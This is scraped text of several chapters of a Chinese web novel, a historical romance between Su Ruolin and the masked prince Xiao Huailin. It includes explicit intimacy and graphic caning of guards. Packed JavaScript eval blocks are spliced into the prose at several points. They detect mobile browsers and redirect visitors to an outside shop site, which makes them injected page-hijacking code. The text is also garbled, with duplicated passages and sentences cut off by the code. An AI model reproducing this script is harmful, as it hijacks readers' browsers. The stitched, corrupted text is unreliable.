“嗯。”苏若琳轻笑,配合地仰起头,凑近他的唇。 面前人当即伸出一只手托住她的脖颈,将她按在了自己的唇上。 柔软的触感传来,萧怀琳伸出粗糙的舌头探入心上人的口中,舔舐着对方的贝齿,随后再往里伸,去和对方那湿滑柔软的舌头缠绵悱恻。 大抵是这么对坐着接吻不太方便,萧怀琳又伸出另一条胳膊揽过心上人的腰肢,将她揽进自己的怀里。 然而这样心上人的头却又有些低了,吻着依旧不甚方便,萧怀琳在与心上人唇齿相依间发出了一声轻笑,将手臂伸到心上人身下,托起她的翘臀,让她坐到了自己的腿上。 两人的肌肤相贴,紧紧地环抱着对方,苏若琳能清晰地感受到对方炽热的身躯和紧实的腰腹,精瘦有力。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平心而论,陈姨娘长得也是极为美貌的,不然也不可能年岁这么小就被老宁安王抬进府里做姨娘,那么萧怀琳为什么不接受沈姨娘,反而接受自己? 总不可能是因为她长得像他的白月光吧,药效发作到那种地步,莫要说长相了,怕是连人都分不清吧。 可是这样的话,他名字里的“怀琳”…… 苏若琳的脑中想起了萧怀琳曾经在饕餮楼说过的话语—— “若是能在她身边长长久久地陪伴着她,我愿意付出一切代价。” 他究竟在尊敬着谁,又在中意着谁? 而且…… 为什么昨夜,他难受到那种地步,却呼唤了一声“母亲”? 瞧见他今日这般害羞模样,昨夜大抵就是他的第一次了,难不成他的母亲要求他遵守男德,不允许在婚前和别的女人发生苟且? 啧啧啧……那样的话,自己可真是白占了个大便宜,他那白月光都没睡到他的第一次,让自己给睡到了。 哦,不对,现在就连他那所谓的白月光是否存在都成为了一个谜团。 这般想着,苏若琳又看向面前眼神躲闪的少年,重复了一遍:“是哪家的千金小姐?” 107. 温存 眼见着心上人动了气,萧怀琳匆匆披了件衣袍便去找药箱。 苏若琳原本也想披上自己的衣裙,她环顾四周,随后就在软榻边上找到了一件......破布。 可怜这件鹅黄亮绸裙在昨夜就被不远处那个寻找药箱的人生生撕扯成了布条,勉强还能留下一个全尸,恐怕都是行凶者手下留了情。 萧怀琳从柜子里拿出药箱,忽地感觉到脑后一阵劲风袭来,他转过身,一团鹅黄色的东西赫然朝着他的面门飞了过来。 他含笑着接过那团布条,而后在心上人羞怒的目光下提着药箱回到她身边。 “我去你的军帐里再拿一套来,好吗?” 苏若琳睥睨了他一眼,而后重重地叹了口气:“先给你把伤重新包扎好吧。” 萧怀琳轻笑着,温声道:“好。” 缠绕在他身上的层层白布被苏若琳缓缓揭开,一圈又一圈的红色血迹印在洁白的细麻上,触目惊心。 等到了最里面一层的时候,那一整块白色的细麻几乎都被鲜血染成了一张血布。 苏若琳小心翼翼地牵着细麻的一角,缓缓揭下。 然而因着昨晚伤口裂开,伤口的鲜血和凝结的疮痂早已和这层细麻粘在了一起,随着这块血布被扯下,黏连在一起的血肉也被重新撕开,鲜血不断地自伤口处溢出。 与此同时,萧怀琳原本绷紧的身体也疼得不住颤抖。 苏若琳连忙用干毛巾轻轻按在伤口边缘,将那些溢出的鲜血吸掉,待到一整块血布完全撕下来时,面前人已然鲜血淋漓。 苏若琳看着面前人几乎是血肉模糊的身体,只感觉自己的身前猛得一痛,仿佛也少了那么一层皮、一块肉。 她的心不禁也跟着抽搐了起来,眼睛渐渐得湿润了。 自己光是这么看着都觉得疼,那面前人又该有多疼? 而她面前的萧怀琳眼见着心上人眼眶泛红,竟有泪水在眼中打转,不由得伸出手抚上她白皙的脸颊,努力压下声音中因疼痛而产生的颤抖,柔声道:“不要哭,我没事的。” 苏若琳抬起头,见到面前人的脸色苍白得好似能和那副泛着寒光的银色面具相比,那原本有些红肿的唇瓣此刻竟然也泛着一丝苍白,明明都已经疼得全身颤抖,却还是对她露出了一个温和的笑意。 苏若琳的泪水再也止不住地自眼角滑落,哭着骂一句:“笨蛋!” 萧怀琳好脾气地替她擦掉脸上的泪痕,笑道:“我是笨蛋。” 然而对方这个模样却是令苏若琳更难过了。 她只觉得自己正涂抹金疮药的手竟也跟随着对方的身躯一起颤抖,那伤口的疼痛仿佛通过触碰着对方肌肤的指尖传到了自己的心上。 君疼一分,我亦心痛。 只是苏若琳这一抖,原本围在她身上就不甚紧的被子竟然渐渐开始滑落,然而此时她一手托着药盒,一手沾着药粉,竟然腾不出手来抓住那渐渐下滑的被子。 “萧怀琳!” 她连忙喊了一声面前人,想让对方帮自己抓住被子。 然而已经来不及了。 萧怀琳闻言低下头的瞬间,那被子自心上人的胸前滑落,登时露出了那满是吻痕和淤青红印的娇躯,好一幅春光满面。 他的大脑顿时失去了任何的思考,就连自伤口处传来的疼痛都被短暂地忘记了。 这,这…… 苏若琳眼见着面前人呆呆地看着自己毫无遮掩的身体,原本苍白的脸颊迅速变红,红得仿佛能滴出血来,就连身体都不颤抖了。 羞涩之余,苏若琳竟不由得笑出了声。 在北疆杀得十进十出,即将坐拥天下的宁安王也不过是一个青涩的少年啊。 她不由得低头又看向面前人身上触目惊心的伤口,遥想他曾经先前受了这么重的伤都能面不改色,然而却会因为见到女子的身体而脸红。 这反差实在是太可爱了。 或许是报复心作祟,或许是捣蛋心搞鬼,苏若琳竟然放弃了将被子重新拉回身上的想法,就这么让面前的少年郎看着自己雪白的娇躯,继续给他的伤口抹药。 让他好好看看他昨夜对自己所有所作所为的罪证。 恰逢此时微风吹来,吹拂过苏若琳裸露在空气中的娇躯,她下意识打了个哆嗦。 嘶……今日怎么这么冷。 见到心上人冷得发抖,呆愣住的萧怀琳这才堪堪回过神,涨红着脸将心上人身下滑落的被子拉起,披到心上人的肩膀上,然后在胸前合拢,遮住那满面春光。 身上陡然一暖,她的心也软得几近融化了。 “好了。”苏若琳轻轻道了一句,将手指上残存着的药粉抹在面前的人鼻子上,“转过身去。” 也不知道后背上的那道旧伤如何了。 萧怀琳伸出手抹掉鼻尖上的药粉,看着面前人恶作剧的眼神,原本又羞涩又呆的俊脸上这才浮现出一丝笑意。 “好。” 待他转过去的那一刻,原本担忧地盯着他身体的苏若琳略微松了口气。 后背的伤口比起胸前的那道要好很多,大抵因为是旧伤的缘故,疮痂结得厚实,历经昨夜激烈的动作之后也只是裂开了中间的那部分。 而中间那部分伤口原本已经在流脓了,现下再看竟然已经好了,当白布撕下的那一刻,溢出的只有一些红色的鲜血。 苏若琳很快将那部分伤处理好,随后扯开细麻布,手指环绕过面前人身体前后紧实的肌肉,将伤口重新包扎好。 做完这一切后,苏若琳抬起头看向面前人,却见到对方羞红的脸上,那一双秀丽的凤目正盯着自己红润的唇瓣,眼中满是渴望。 “若琳……” 他低唤了一句,声音沙哑。 “嗯。”苏若琳轻笑,配合地仰起头,凑近他的唇。 面前人当即伸出一只手托住她的脖颈,将她按在了自己的唇上。 柔软的触感传来,萧怀琳伸出粗糙的舌头探入心上人的口中,舔舐着对方的贝齿,随后再往里伸,去和对方那湿滑柔软的舌头缠绵悱恻。 大抵是这么对坐着接吻不太方便,萧怀琳又伸出另一条胳膊揽过心上人的腰肢,将她揽进自己的怀里。 然而这样心上人的头却又有些低了,吻着依旧不甚方便,萧怀琳在与心上人唇齿相依间发出了一声轻笑,将手臂伸到心上人身下,托起她的翘臀,让她坐到了自己的腿上。 两人的肌肤相贴,紧紧地环抱着对方,苏若琳能清晰地感受到对方炽热的身躯和紧实的腰腹,精瘦有力。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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春药是陈姨娘下的,药效发作之时陈姨娘就在他的眼前,可他却杀了陈姨娘,和自己,做那种事…… 平心而论,陈姨娘长得也是极为美貌的,不然也不可能年岁这么小就被老宁安王抬进府里做姨娘,那么萧怀琳为什么不接受沈姨娘,反而接受自己? 总不可能是因为她长得像他的白月光吧,药效发作到那种地步,莫要说长相了,怕是连人都分不清吧。 可是这样的话,他名字里的“怀琳”…… 苏若琳的脑中想起了萧怀琳曾经在饕餮楼说过的话语—— “若是能在她身边长长久久地陪伴着她,我愿意付出一切代价。” 他究竟在尊敬着谁,又在中意着谁? 而且…… 为什么昨夜,他难受到那种地步,却呼唤了一声“母亲”? 瞧见他今日这般害羞模样,昨夜大抵就是他的第一次了,难不成他的母亲要求他遵守男德,不允许在婚前和别的女人发生苟且? 啧啧啧……那样的话,自己可真是白占了个大便宜,他那白月光都没睡到他的第一次,让自己给睡到了。 哦,不对,现在就连他那所谓的白月光是否存在都成为了一个谜团。 这般想着,苏若琳又看向面前眼神躲闪的少年,重复了一遍:“是哪家的千金小姐?” 108. 再等等 萧怀琳目光躲闪,心虚地瞥向他处。 苏若琳见状,那一双好看的柳叶眉微微皱起,不解道:“你在逃避什么?” 随后,萧怀琳的脸就被心上人那一双细嫩的玉手掰了过来,强迫他直面自己的心上人。 眼见着避无可避,萧怀琳只好硬着头皮道:“是……” 是你啊…… 可是他要怎样向心上人坦白,他就是杨婉枝,是她曾经的继女? 如果他真的坦白了,她又如何才能接受她昨晚和自己曾经的继女睡过的事实…… 也许她能接受,但绝不是现在。 而且...... 他现在也没有这个勇气,去向他的心上人坦白。 萧怀琳重重地叹了口气:“现在还不合适,等到了合适的时候,我一定会向你坦白。” “再给我些时间好吗?” 苏若琳望着面前人几乎是恳求的目光,心里却逐渐泛起了苦涩。 原来,在对方眼里,他们之间甚至还没有亲密到,自己能够知晓他那个所谓白月光的地步么。 也是,不过只是在一起睡过一觉罢了,若是放到自己的前世,这根本算不上什么。 只是...... 她抚摸着面前人脸颊的手臂渐渐地垂了下来,勉强地笑了笑:“是我问的不是时候了,昨夜你也只是因为被下了药才会想要和我……” 苏若琳话才说了一半,随即再次被对方托住后脑,吻住了朱唇。 可是这一次她不想。 不想再和眼前的人亲密。 她伸出双臂用力推开面前人,即便数次的经历告诉她,这根本无济于事。 随后见果然推不开,苏若琳便去狠狠地抓向面前人的肩膀,想要将纤长的指甲嵌进他的肉里去。 然而她忘记了,为了方便跟着面前人出征行军,她的指甲在离开京城前才刚刚修剪过。 百般挣扎无果之后,苏若琳泄气地捶了一下面前人的肩膀,睫毛微颤,两行晶莹的泪水不由自主地自眼角滑落。 萧怀琳见状连忙离开了心上人的唇瓣,伸出骨节分明的手去替心上人擦掉眼泪,神色慌乱:“不是这样的,你不要多想。” 他犹豫了一番,羞红着脸低下头,终是将心里那句小心翼翼地珍藏了许久的话语呢喃了出来。 “我……我中意你啊。” 什,什么? 苏若琳险些怀疑自己耳鸣了。 “你喜欢我?”她诧异地望着面前人,同时心里竟无法抑制地生起一丝喜悦。 她在心里懊恼着,自己怎么这么没出息啊! 从前不是都说了爱情什么的都是浮云,她只要做好一条躺平的侯府主母,安稳半生就够了,结果现在怎么因为一个毛头小子就伤心掉眼泪! 苏若琳啊苏若琳,你两辈子的人生阅历都被吃进狗肚子里去了吗! “我喜欢你。”说这话时,萧怀琳羞涩的脸上几乎红到了耳根。 末了,他似是担心心上人不会轻易相信,又红着脸轻轻吻了吻心上人的侧脸,覆在她耳边小声道:“从今往后,我喜欢的人都只会有你一个,所以,不要伤心了,好吗?” “每次看到你掉眼泪,我的心里都很难受。” 这突如其来的告白把苏若琳一下子搞蒙了,她只感觉自己的脑子“嗡”地一下就炸开了,此后满脑都是炸开之后的轰鸣声。 过了好半天,她才堪堪一丝捡回神智。 “可,可是......” “我,我比你大五岁啊。”苏若琳听见自己结结巴巴道。 闻言,萧怀琳那张羞红的俊脸却笑了,他亲昵地蹭了蹭心上人的鼻子,满眼都是温柔:“你也只比我大五岁而已。” 这下轮到苏若琳脸红了:“我,我还嫁过人!” 若是在前世,她自然不会将结过婚当回事,可是在如今这个年代,嫁过人的女子有多么不容易,她也是再清楚不过了。 在杨询去世的前两年里,也有很多不长眼的小门小户想要让她改嫁,无一不是些肥头大耳、好吃懒做、甚至有些还吃喝嫖赌,却都偏偏自视甚高的歪瓜裂枣们。 就这帮玩意还觉得自己改嫁给他们是攀了高枝,仅仅是因为自己已经嫁过人。 那些人的嘴脸,现在想起来她都觉得恶心。 ...... 所以,所以…… 她看着面前温润如玉的翩翩少年郎,这个人年仅十六岁便继承王位,此后仅仅用了一年的时间,就夺回了昔年连高祖都没能拿回来的北疆十城。 后来自北疆凯旋归来后,他又于京城即将沦陷之时力挽狂澜,救下了危在旦夕的大楚,如今只待这场西伐凯旋而归,他便能登基为帝,坐稳这大楚江山。 眼前的少年莫要说放眼整个大楚,哪怕是纵观历史长河,他也是空前绝后的。 这样的他,怎么会看上自己…… 然后她却听到面前的少年郎这样回答—— “我不在乎。” 萧怀琳托住心上人的后脑,和她额头相抵,那一双银色面具下的凤目含情脉脉,声音是无比的温柔。 “你就是最好的,我也不允许任何人说你不好。” 话音落了,苏若琳仿佛听见了自己的心跳,清晰而又热烈。 咚咚,咚咚。 “你,你……”苏若琳双颊通红,“你”了半天,也没说出个所以然来。 这臭小子也太会撩了! 兴许是心上人同样的爱意给予了萧怀琳勇气,见到心上人如此羞涩,他原本心里的那丝不知所措和紧张逐渐消失得无影无踪,鼓起勇气直面心上人最初的疑问。 “我之所以说现在不是时候,是我自己的原因,但是我保证,所有你想知道的,我以后一定全部向你坦白。” 萧怀琳那双秀丽的凤目之中满溢着真挚的爱意,全然不似作假,连开口的声音都染着一丝爱意。 “再耐心地等一等,好吗?” 苏若琳深吸了一口气,重新抬起眼眸看向面前人:“也包括你昨夜在那种情况下,却会喊‘母亲’这件事吗?” 闻言,萧怀琳的脸色当即红了又青,青了又白。 过了好半天,他才艰涩道:“……对。” “那我要等多久?”苏若琳再次垂下眼眸。 “最迟在我们西伐凯旋之前,我一定全都向你坦白。”萧怀琳轻声回答,末了又小心翼翼地问道,“好吗?” 苏若琳沉默了半晌,最终重重地叹了口气:“那好吧。” 末了,又露出了一个温婉的微笑:“我等你。” 眼前的少年这般优秀,他没有道理,没有必要去欺骗自己。 那就再等一等吧,左右西伐的路也不会停下。 苏若琳这般想着,她的笑容落进萧怀琳的眼里,却掀起了层层涟漪。 心上人的笑容宛若二月的春风,吹拂过萧怀琳心间的花田,霎那间,所有的花枝都随着风轻轻摇曳了起来。 他亲昵地吻了吻心上人的唇角,声音低哑:“若琳……你真好。” 闻言,苏若琳捏了捏他的脸,笑得明媚:“我就是很好。” 她话音未落,忽地一阵“咕噜咕噜”的声音传来,苏若琳顺着声音低下头一看,居然是她的肚子在对她发出抗议。 她登时老脸一红,这么好的气氛就这么硬生生被破坏了,她现在真想找个地缝钻进去! 萧怀琳爽朗地笑了:“我去给你拿套衣裙来,然后我们一起去用膳。” 苏若琳红着脸撇了撇嘴:“我想沐浴。” 昨晚和面前人缠绵了一夜,浑身都黏腻得难受。 “咳......军营里不太方便。”萧怀琳的脸上多了几分愧疚,“我让青芙去打一桶热水,用毛巾擦一擦好吗?” “哦。”苏若琳叹了口气,这也的确也是现下能办到的最好的方法了。 见到心上人这副小脾气的模样,萧怀琳的心柔软得一塌糊涂,又是没忍住亲了亲她的唇角。 怎么会这么可爱。 他将心上人放回到软榻上,给她仔细盖好被子,揉了揉她的发顶,温声道:“我很快就回来,外边冷,你乖乖躺在被子里别着凉。” “我不是小孩子!”苏若琳羞愤地蹬了他一眼,自己可比他大五岁呢! 萧怀琳笑出了声,心情愉悦地穿好衣衫离开。 等他越过屏风来到前厅,但见昨夜被点燃的油灯已经熄灭了,时而有冷风呼啸过帐外,在厚重的帐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666873|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁上留下些许波纹。 只是,昨晚倒在屏风前陈姨娘的尸体却不见了,徒留下深红的血迹。 他皱起眉头,见地上的血迹自屏风前的位置一直顺延到了帐外,留下了一条粗粗的血痕。 这是死人在还没死太久,便被人拖着走时才会留下的痕迹。 昨夜又有人擅闯他的军帐了? 萧怀琳被气笑了,这一个个的胆子都挺肥啊,这么急着找死。 还有,昨夜值守那两个侍卫都是吃干饭的不成? 看来是儆猴的鸡还不够,那他就再多杀几个。 等他阴沉着脸掀开军帐的门帘,却见着青芙正背对着他站在帐前,而在青芙的面前,赫然跪着昨日值守的四个侍卫。 听到身后的动静,青芙和今日新轮值的两个侍卫连忙转过身,朝来者作揖行礼:“王爷。” 萧怀琳神色淡漠,声音中却带着一丝愠怒:“陈姨娘的尸体呢?” 闻言,青芙当即跪了下来,冲萧怀琳磕了一个头。 “是奴婢拖走的,奴婢情急之下擅闯了王爷的军帐,请王爷降罪!” “哦?”萧怀琳倒是没料到,擅闯他军帐的居然是青芙。 青芙做事一向有分寸,这点他从小就看得清楚,若是她都能坏了规矩,那定然是在极其特别的情况下。 这般想着,萧怀琳眯了眯眼,语气不带一丝波澜起伏:“原因。” 青芙随即将昨夜找了整个军营都没有找到苏若琳,待到返回来时,守在萧怀琳帐前的侍卫又都晕倒的事讲述了一遍。 萧怀琳冷笑了一声,这陈姨娘还真是有点东西啊。 “尸体呢?” “回王爷,已经埋掉了。” “起来吧。” 这就算饶过她了。 青芙登时松了一口:“是。” 随后萧怀琳附到她耳边,将苏若琳的衣裙和热水的事低声吩咐了下去。 青芙连忙领命离开。 等到人走了以后,萧怀琳居高临下地看着跪在地上的四个侍卫,毫无温度的眼神淡淡扫过他们不断颤抖的身体。 “谁先说。” …… 听完了始末原委之后,萧怀琳不由得笑出了声,然而出口的话语却是比坚冰还要寒冷:“看来是这些日子过得太安稳了,让你们都忘了‘警惕’两个字是怎么写了。” 他说着用眼神示意今日轮值的两个侍卫。 “安排仗刑。” 不消片刻,此起彼伏的惨叫声自萧怀琳的军帐前响起,此时刚用过早膳,路过不远处的副将韩龙一听见声音,连忙过来凑个热闹。 等他走近一看,登时傻眼了。 只见他家王爷的四个玄衣侍卫趴在长木板上,裤子被脱了下来,另有四个侍卫手里各拿着一个又厚又长的板子,照着那血肉模糊的后臀狠狠拍了下去。 见到他来,萧怀琳瞥了他一眼。 韩龙笑嘻嘻地凑近:“王爷今早挺精神啊,吃了没?” “你来干什么。”萧怀琳面无表情道。 “来凑个热闹。”韩龙十分坦诚,“您这怎么一罚直接罚了四个啊?” 要知道,王爷的侍卫可都是经过精挑细选的,个个骁勇善战,比军中的尖兵也不逞多让。 当然,再训练有素的侍卫,犯错也是难免的,但是一犯犯四个,这就实在是有些罕见了。 韩龙说着暗暗称奇:“啧啧啧,这是要罚多少大板啊?” “先打着。”萧怀琳冷冷道。 韩龙当即被吓了一跳。 噫,这看来犯的事还不小啊。 恰好这时青芙提着装衣裙的包袱和盛着热水的木桶过来,萧怀琳自她手里接过包袱和木桶,扭过头看了一眼趴在长板上受刑的四个侍卫。 “这两个。”他示意昨夜被迷药药晕的那两个,“起来吧。” 原本负责两人仗刑的那两个侍卫立即停手,被赦免的两人从长板上爬下来,忍着痛朝萧怀琳跪地磕头:“谢王爷宽恕!” 同时在心里庆幸,活下来真好啊。 可另外两个…… “另外两个。”萧怀琳甚至没有再分给剩下那两人半个眼神,掀开厚重的门帘径自走进军帐,“拖下去吧。” 109. 都过去了 待到萧怀琳提着包袱和木桶回到屏风后,苏若琳已经裹着被子坐了起来,见到他来,疑惑道:“外面这是怎么了?” 从方才开始,外边逐渐响起了惨叫声,声音越来越大,叫得越来越惨烈,听起来怪吓人的。 “没什么。”萧怀琳将木桶放到案台边上,然后把装衣裙的包袱递给她,“处置了昨夜玩忽职守的那几个侍卫。” “哦。”苏若琳点了点头,接过他手里的包袱,等着他出去。 然而面前人却站在原地不动了,她抬起头看着萧怀琳,后者也低头看着他,两人大眼瞪小眼。 “......”苏若琳抓起那团鹅黄色的破布,朝萧怀琳扔了过去,羞愤地瞪着他,“你出去呀!” 瞧见心上人羞红的脸颊,萧怀琳笑着接过她扔过来的那团破布,乐呵呵地走了出去。 过了一会,等到苏若琳提着木桶走出来时,身上已然换上了一件嫣红色的衣裙,肩上裹着毛巾,一头乌黑的秀发披散在脑后,透着一股倦怠的妩媚。 因着昨夜和眼前这混小子缠绵了半夜,今早又这么早就醒了,她到现在都困得不行,刚一开口想要说点什么,便又不由自主地打了一个哈欠。 然而却恰恰是这慵懒的姿态,看得萧怀琳眼睛一亮。 他最初见到的是心上人成熟稳重、掌控大局的模样,那时的他以为心上人便是他的天; 清晨睡醒时,他又见到了心上人娇俏可爱、闹小脾气的时候,他觉得自己为了他的心上人可以付出一切代价。 而现在,他的心上人再次让他看到了不同的一面。 他的若琳到底究竟还有多少惊喜是他所不知道的? 萧怀琳看着心上人睡眼惺忪的模样,昨夜一夜缠绵过后的娇媚神态已经褪下去了,徒留下一股慵懒。 可却恰恰是这股慵懒,更显得心上人那被厮磨红肿的唇瓣愈加美艳动人,同她那身嫣红的衣裙相得益彰,令他心驰神往。 萧怀琳三两步来到心上人面前,接过她手里的木桶随手放到地上,伸出手想要再次按住心上人的后脑,和她唇齿相依。 然而那只满是伤疤的大手还未碰到心上人,苏若琳的余光扫到地上的一大片血迹,顿时一双秀丽的眼眸瞪得圆圆的,全身的困意一扫而光。 那片血迹经过了空气的氧化,已经变得有些发黑了,自她身旁的位置一直延伸到了帐外,像是用一根巨大的毛笔蘸着血浆,在地面上划过了厚重的一笔。 “这是......”苏若琳呆呆地看着那摊血迹,好半天才捡回神智。 她想起来了,昨夜,陈姨娘便是在此处被眼前人杀掉的。 明明昨日还生龙活虎,甚至还能筹谋心计、算计别人的一个人,就这么没了。 想到此,方才一直被她忽略的惨叫声也重新钻进她的耳朵,映入她的脑海,持续不断,越来越凄厉。 这都打了多久了?有小半个时辰了吧? 现在还不停手的话,萧怀琳是想生生把那几个人打死么? 而萧怀琳见心上人有些被吓到,一把将她揽进怀里,托起她的后脑低头想要亲吻她的朱唇:“别看。” 只是那满是伤疤的大手刚一碰到心上人乌黑的秀发,便不禁眉头微皱,怎么是湿的? 他捻起心上人的一缕发丝,果真是湿漉漉,甚至发尾处还在往外滴着水,显然对方洗过之后根本就没怎么擦拭头发。 萧怀琳不禁眉头一挑:“怎么没有擦干?” 苏若琳闻言回过神,撇了撇嘴,小声道:“麻烦......” 从前沐浴过后,都是绿俏给她把头发擦干的,即便是她前世,洗完了头发也懒得用吹风机,就这么晾着,反正早晚都能晾干。 只是这声音再微小,又哪里能逃得出威名赫赫的大楚战神的耳朵呢? 萧怀琳无奈地笑了笑:“容易得风寒的。” “来,坐下。”他指了指身旁的椅子。 待到心上人在他面前老实坐下后,萧怀琳一手托起心上人的头发,一手抽出她肩上的毛巾,替她把那头乌黑的秀发仔细擦干。 过了许久,萧怀琳放下心上人已经微微发亮的秀发,从后面轻轻地咬了一下心上人的耳朵:“好了。” 那只原本白皙的耳朵霎时间变得腾红。 苏若琳惊得赶紧捂住耳朵,扭过头瞪了他一眼。 随后便看到了眼前人眉目含笑的俊俏脸庞。 只见面前人好看的唇角微微勾起,就连眉眼都弯成了浅浅的月牙,那一副泛着寒光的银色面具看久了,竟也看出了一丝温润的味道,想必是随了主人的性子。 即便昨晚已经那般亲密过了,然而此时此刻再见到眼前人动人的微笑,苏若琳的心仍旧无法抑制地剧烈跳动了起来。 咚咚,咚咚。 她连忙扭过头,红着脸轻咳了一声,小声道:“那个......你要不要也把身子擦一擦?” “好。”萧怀琳揉了揉她的发顶,说着便提起地上的木桶。 眼见着他提起自己才刚提出来的木桶就要重新往屏风后面走,苏若琳瞪大眼睛,连忙喊住他:“哎,那个水我用过了!” “你不去换一桶吗!” 萧怀琳回过头看了她一眼,那双好看的凤目中满是温柔:“不用。” “那,那也只剩半桶了!”苏若琳慌张得都有些结巴了,“而且也都快凉了!” 然而萧怀琳脸上的笑意却愈加的深了。 “足够了。” 他说着,便拎着那剩下半桶水的木桶走进了屏风后,徒留下苏若琳羞红着脸站在原地。 这个人......! 等到萧怀琳再从屏风后出来时,也已经换了一身干净的衣服,他抬起眼眸,便看到心上人背对着他站着厚厚的门帘前,看不到脸上的神色。 他缓缓来到心上人身后,伸出双臂将心上人从身后揽进怀里,附到耳边轻声问道:“怎么了?” 苏若琳扭过头看向他,咽了口唾沫:“你......” “就让他们一直叫下去吗?” 叫得实在是太惨了。 虽说她从前在侯府也处置过下人,但那也是把人拖下去打,眼不见心不烦。 但是显然萧怀琳并没有这样的打算,又或许是他故意将处罚安排到明面上,让其他的侍卫好好看着这玩忽职守的代价,以儆效尤。 隔着一层厚厚的军帐,苏若琳能够清晰得听到,外面除去此起彼伏的惨叫声,还有那板子拍在人身上沾带了身上的血肉,而后那粘腻着血肉的板子,再和血肉拍在一起的声音。 就像是捣蒜用的那根石臼,石臼狠狠地敲下去,将蒜敲烂,而后烂成碎末的蒜块又沾到石臼上,和着石臼再敲下去,将碎末继续捣烂成泥。 这般想着,苏若琳又低下头去看了一眼身旁发黑的浓重血迹,仿佛这血迹也沾了混着血的人肉一般,否则为何如此厚重? 光是看着血迹尚且如此,她根本无法想象外面是个怎样惨不忍睹的情景。 苏若琳小心翼翼地拉了拉萧怀琳的衣袖:“要不......你把他们带到别处去打吧?” 她现在已经有点反胃了,待会还得用早膳呢,若是出去再看到那血肉模糊的一团,这还怎么吃得下去。 闻言,萧怀琳倒是有些诧异地看了心上人一眼。 却见到他的心上人眼里并无惧怕,有的只是几分嫌恶和恶心。 他不禁轻笑出声,也是,若是他的心上人是个胆小懦弱的性子,又怎么可能坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678783|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得稳侯府主母,庇佑好昔年真正懦弱的他? 他低头亲了亲心上人的额头,继而朝着外面道了一句:“可以了。” 外面拍打血肉的声音登时停止,渐渐地,惨叫声也微弱了下来。 随后,苏若琳便听到头顶响起了熟悉的声音:“昨夜被迷晕的那两个。” 闻言,帐外被点名的那两个人顿时全身发抖,害怕到不由自主地撅起已经血肉模糊的臀部。 王,王爷会下令处死他们吗?! 随后,他们便听到了王爷毫无温度的声音自帐内响起。 “起来吧。” 悬着的心瞬间落得地,那两人连忙挣扎着从长板上爬下来,忍着剧痛朝军帐磕了一个头:“谢王爷宽恕!” 同时不断地在心里庆幸着,太好了,他们这条小命居然从王爷手里捡回来了! 但与之相应的,另外那两个人的心则冷到了谷底。 “另外两个。”萧怀琳的声音依旧没有丝毫的跌宕起伏,“拖下去吧。” 军帐外顿时响起了哭喊声和求饶声,原本负责杖刑的那四个侍卫随即拽着那两人的胳膊,把他们拖了下去。 苏若琳抬起头看向萧怀琳,只见眼前人的目光幽深,如同一片万丈深渊,稍有不慎便会跌落进去,摔得粉身碎骨。 少年郎脸上的温润消失得无影无踪,余留下的唯有一抹肃杀的气息,就连他脸上的那副穷奇面具,都再次变得冰冷而又狰狞。 这是她第一次看到萧怀琳露出这般神情,这个浴血沙场的战神第一次在他的心上人面前展露出他本来的面貌——冰冷锐利、充满威严。 苏若琳没有再说话,她忽地感觉到,周身的空气竟多了几分森寒,比今日下过暴雨之后的冷风还要寒冷,冻得她不禁打了个哆嗦。 原来这就是传说中以一敌百的宁安王真正的气势么? 究竟哪一个才是他真实的样子? 究竟是温润如玉,还是冷酷无情? 亦或者...... 苏若琳的眼中闪过一丝莫名的光芒,莫非这两个都是? 她想到了面前人这身新换的墨蓝色衣袍下面,被遮盖的一丝不漏的满身伤疤。 也许他本来就是一个翩翩少年郎,只是不得不登上战场、长出獠牙,变得凶神恶煞。 苏若琳深吸了一口气。 她真的很想知道,眼前这个在顷刻间变得肃穆威严的少年,过去到底都经历了怎样的磨难,才能变成这样。 而此时,萧怀琳感受到怀里的人在发抖,连忙回过神低头看向怀里的心上人,却恰好看到了她那被心疼填满的目光。 他全身猛的一震。 随后,他那心上人便怀抱住他的脖颈,仰起头吻了吻他的唇角,就像清晨他安慰自己时那样。 “都过去了。” 萧怀琳看着心上人温柔的眼眸,仿佛在那双晶莹明澈的眼眸之中看到了从前的自己。 那个软弱无能、自卑胆小,却又幸福快乐的杨婉枝。 他忽地想起了四年前的上元佳节,那个大雪纷飞却又张灯结彩的夜晚,还有侯府的后花园里,那片冰冷刺骨的池潭。 是眼前的人将他从濒死的绝境之中拽了回来,此后一点一点给予他温暖。 而这温暖,支撑着他淌过了无数个腥风血雨的日夜。 方才还气势磅礴的少年郎嘴唇微微动了动,眼中不可抑制地噙出一抹泪光。 萧怀琳伸出不住颤抖地双手,紧紧拥抱住他的心上人,仿佛用尽了此生全部的力气,想要将他的心上人彻底揉进自己的身体,与自己合二为一。 “嗯。” 都过去了。 还好我重新回到了你身边。 母亲...... 110. 